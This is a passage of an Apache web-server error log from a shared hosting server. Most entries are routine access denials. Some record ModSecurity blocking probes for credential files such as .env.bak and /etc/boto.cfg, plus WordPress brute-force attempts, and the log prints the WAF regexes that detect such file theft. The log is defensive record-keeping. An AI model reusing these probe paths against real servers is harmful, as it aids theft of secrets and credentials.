https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:20:11.704477 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.53:45094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:11.704763 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.53:45094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:12.037570 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.37:64540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:12.037998 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.37:64540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:12.050011 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:20:12.050428 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:20:12.103383 2026] [security2:error] [pid 648189:tid 648363] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/zip/tests/zip_open.phpt"] [unique_id "ai3zvFWSojQL4F7upKCDJAAAAI8"] [Sat Jun 13 18:20:12.147059 2026] [security2:error] [pid 648189:tid 648263] [remote 17.22.245.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zvFWSojQL4F7upKCDJwAAmSk"] [Sat Jun 13 18:20:12.421716 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.34:61354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:12.422167 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.34:61354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:12.612502 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:20:12.612978 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:20:12.678706 2026] [access_compat:error] [pid 646876:tid 646903] [remote 57.141.14.12:53478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:12.679150 2026] [access_compat:error] [pid 646876:tid 646903] [remote 57.141.14.12:53478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:13.019168 2026] [core:error] [pid 646876:tid 647052] [client 45.86.200.31:39407] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:13.019198 2026] [core:error] [pid 646876:tid 647052] [client 45.86.200.31:39407] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:13.144069 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:20:13.144492 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:20:13.283195 2026] [security2:error] [pid 648189:tid 648254] [remote 17.241.219.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zvVWSojQL4F7upKCDSgAA9iA"] [Sat Jun 13 18:20:13.332648 2026] [security2:error] [pid 646876:tid 646930] [remote 67.20.76.56:12204] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3zvdyTkdrNlD40tSG9LwAAGjM"] [Sat Jun 13 18:20:13.404232 2026] [security2:error] [pid 648189:tid 648269] [remote 17.246.23.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zvVWSojQL4F7upKCDVgAAyy8"] [Sat Jun 13 18:20:13.691209 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:20:13.691487 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:20:14.054832 2026] [security2:error] [pid 648189:tid 648412] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/s3/.env.bak"] [unique_id "ai3zvlWSojQL4F7upKCDbAAAAL8"] [Sat Jun 13 18:20:14.093421 2026] [access_compat:error] [pid 648189:tid 648267] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.093723 2026] [access_compat:error] [pid 648189:tid 648267] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.195539 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:14.195988 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:14.262984 2026] [access_compat:error] [pid 648189:tid 648475] [client 192.178.6.40:61063] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.263259 2026] [access_compat:error] [pid 648189:tid 648475] [client 192.178.6.40:61063] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.275624 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.73:63938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.275930 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.73:63938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.282803 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.26:33542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.283080 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.26:33542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.309499 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.68:46714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.309921 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.68:46714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.414907 2026] [security2:error] [pid 648189:tid 648302] [remote 80.82.115.208:36814] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.115.82.80.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "website-4f489b17.pgt.qqk.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3zvlWSojQL4F7upKCDgAAA2FA"] [Sat Jun 13 18:20:14.415186 2026] [security2:error] [pid 648189:tid 648437] [client 80.82.115.208:36814] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "website-4f489b17.pgt.qqk.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3zvlWSojQL4F7upKCDgAAA2FA"] [Sat Jun 13 18:20:14.445531 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.68:46724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.445828 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.68:46724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.484174 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.92:41810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.484617 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.92:41810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.580720 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.99:48034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:14.581158 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.99:48034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:14.670722 2026] [security2:error] [pid 648189:tid 648324] [remote 17.241.227.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zvlWSojQL4F7upKCDjQAA92U"] [Sat Jun 13 18:20:14.734332 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:14.734703 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:14.960983 2026] [security2:error] [pid 648189:tid 648408] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/etc/boto.cfg"] [unique_id "ai3zvlWSojQL4F7upKCDoAAAALs"] [Sat Jun 13 18:20:15.024498 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.56:48108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:15.026149 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.56:48108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:15.177100 2026] [core:error] [pid 648189:tid 648412] [client 45.86.200.20:22325] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:15.177118 2026] [core:error] [pid 648189:tid 648412] [client 45.86.200.20:22325] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:15.188664 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:20:15.188936 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 